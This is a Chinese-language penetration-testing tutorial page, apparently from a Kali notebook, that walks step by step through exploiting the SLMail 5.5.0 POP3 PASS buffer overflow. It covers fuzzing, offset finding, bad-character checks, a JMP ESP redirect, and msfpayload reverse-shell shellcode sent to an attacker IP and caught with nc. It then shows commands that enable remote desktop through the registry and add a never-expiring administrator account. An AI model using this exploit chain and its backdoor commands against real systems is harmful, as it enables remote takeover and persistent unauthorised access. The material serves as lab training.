**Windows缓冲区溢出**
—————————
程序的漏洞从哪里来?
罪恶的根源:变量
数据与代码界限不清
产生漏洞原理——应用程序对用户的输入没有做严格检查过滤
**缓冲区溢出**
—————
当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误
导致缓冲区被"撑爆",从而覆盖了相邻区域的数据。
成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等。
**如何发现漏洞?**
—————————————
源码审计
逆向工程
模糊测试
向程序堆栈半随机的数据,根据内存变化判断溢出
数据生成器:生成随机、半随机数据
测试工具:识别溢出漏洞(动态调试——OD、IDA)
**Windows缓冲区溢出——FUZZER**
—————————————————————————
安装三个软件
1.SLMail 5.5.0
2.Immunity Debugger
3.mona.py
(将mona脚本放到ImmunityDebugger\PyCommands目录下)
链接:https://pan.baidu.com/s/1JoMrW9ZymD3ej1GvIE5geg 密码:hz53
win7&win8等系统有这些安全机制不能进行缓冲区溢出
DEP:阻止代码从数据页被执行
ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化
* * * * *
POP3 PASS 命令存在缓冲区溢出漏洞
无需身份验证实现远程代码执行
用py写几个脚本:
1.py——测试连接mail
2.py——测试向mail发送数据
3.py——发送唯一字符串
4.py——查找精确溢出的4个字节
5.py——找出坏字符
6.py——重发buffer
win.py——发shellcode
链接: https://pan.baidu.com/s/1IjIqL87u1-xRUcso2KGgqg 密码: ducr
___________________________
**思路:
——**
**一、测试1.py是否可连接mail服务**
> 用Immunity Debugger去Attach开启的SLMail并F9跑起来
> 用2.py测试 PASS 命令接收到大量数据时是否会溢出
EIP 寄存器存放下一条指令的地址
**二、2700个字符实现EIP 寄存器溢出**
> 重启pop3服务(每次服务被打死,都要重启)
> 重新打开imdebug运行smail(别忘记F9让程序跑起来)
在kali下创建唯一字符串:
~~~
cd /usr/share/metasploit-framework/tools/exploit
./pattern_create.rb -l 2700
~~~
> 将生成的唯一字符串赋值为3.py的buffer的内容
> 运行3.py,观察EIP寄存器,数字为39694438(这是16进制的ASCII码)
**三、找到精确溢出的4个字节**
再次打开kali:
~~~
cd /usr/share/metasploit-framework/tools/exploit
./pattern_offset.rb -q 39694438
~~~
> 结果是2606,即从第2606个开始,就是打入EIP寄存器的字符的位置
> 因此将 EIP 修改为shellcode代码的内存地址,将Shellcode写入到该地址空间
> 程序读取EIP 寄存器数值,将跳转到 shellcode 代码段并执行
**四、寻找可存放shellcode的内存空间**
> 运行4.py验证(记得重启服务),EIP寄存器放入了四个大写字母B
> 再看一下ESP里面的内容,那里放入了我们跟在4个B后面的20个C
> 这时只要我们在eip里面放入esp的地址,再在esp内放入我们的shellcode,那么不就可以拿到系统权限了?
> 当然,我们得先来判断esp有多大,够不够放下我们的shellcode?
> 修改C的数量(3500-2606-4),再次执行4.py
> Follow in dump进ESP的地址,用C的最后出现地址减去C最初出现的地址
> 得到10进制结果为416,足够存下一个最简单的shellcode(一般需要300字节左右)
**五、找出坏字符**
> 不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途
> 返回地址、 Shellcode、 buffer中都不能出现坏字符
> null byte (0x00) 空字符,用于终止字符串的拷贝操作
> return (0x0D) 回车操作,表示POP3 PASS 命令输入完成
> 思路:发送0x00 —— 0xff 256个字符,查找所有坏字符
> 运行5.py找出坏字符,结果:0A、0D、00为坏字符
**六、重定向数据流**
> 用 ESP 的地址替换 EIP 的值
> 但是 ESP 地址变化,硬编码不可行
> SLMail 线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定
**变通思路**
• 在内存中寻找地址固定的系统模块
• 在模块中寻找 JMP ESP 指令的地址跳转,再由该指令间接跳转到 ESP,从而执行shellcode
• mona.py 脚本识别内存模块,搜索“return address”是JMP ESP指令的模块
• 寻找无DEP、 ALSR保护的内存地址
• 内存地址不包含坏字符
• EIP——>系统模块——>ESP(思路流程)
**具体步骤:**
> 1、!mona modules //用mona.py查看模块运行情况
> 2、rebase(操作系统重启以后是否发生变化,如变化,则为true,否则为false)这里寻找false的
> 3、safeseh aslr nxcompat 是操作系统的安全机制,都选false
> 4、OS dll表示每个操作系统都有的这里都选为TRUE
> 5、!mona find -s "jmp esp" -m 模块_name.dll (这一步先不能执行) //寻找有esp跳转的模块
> 6、用kali上的工具将输入的汇编语言转换成机器指令
> cd /usr/share/metasploit-framework/tools/exploit
> ./nasm_shell.rb
> nasm > jmp esp
> 得到结果为FFE4
> 7、!mona find -s "\xff\xe4" -m slmfc.dll
> 8、找到后双击进入,切换一下显示视图,在FFE4处下断点
> 9、用我们的6.py重发buffer (地址反转,高字节存低地址,低字节存高地址)
> 10、EIP被指定为我们写的地址,可以F7单步跟一下
> 可以发现下一步要执行的地址就是我们ESP寄存器的地址
> 证明通过系统模块跳转到esp寄存器的想法实现了
**七、写shellcode**
还是用kali帮忙,需要去掉坏字符
~~~
cd /usr/share/framework2/
./msfpayload win32_reverse LHOST=攻击者IP LPORT=443 R | ./msfencode -b "\x00\x0a\x0d"
~~~
然后将shellcode写入我们的win.py
buffer里面增加了\x90,是为了防止esp执行的时候把shellcode的前面几个字符忽略掉
用nc侦听我们的443端口 `nc -vlp 443` 成功获取shell
**八、还可以开3389远程桌面**
修改注册表:
~~~
echo Windows Registry Editor Version 5.00>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
~~~
新增用户
`net user wintry wintry.123 /expires:never /active:yes /add`
添加到管理组
`net localgroup Administrators wintry /add`
远程连接
`rdesktop 192.168.1.112`
- 序言
- kali-Linux基本配置
- 忘记Root密码
- 更新系统和软件包
- Bash命令
- shell编程
- Linux的文件权限配置
- Linux日志文件
- 信息收集
- 被动信息收集
- 绕过CDN找真实IP
- IDS识别
- p0f-OS识别
- nmap端口扫描
- 搜索引擎
- 内网主机发现
- 使用SET社工包钓鱼
- 漏洞发现
- Nessus策略漏扫
- AWVS集成漏扫
- w3af
- 其它漏扫
- 抓包改包
- Burpsite
- Fiddler
- Wireshark
- 漏洞利用
- Hydra爆破
- SQLmap
- Metasploit
- Beef
- antSwrod
- XSS前端工具
- Windows缓冲区溢出
- 后漏洞利用阶段
- 免杀一句话
- 上传工具
- 嗅探
- 本地提取
- 隐藏痕迹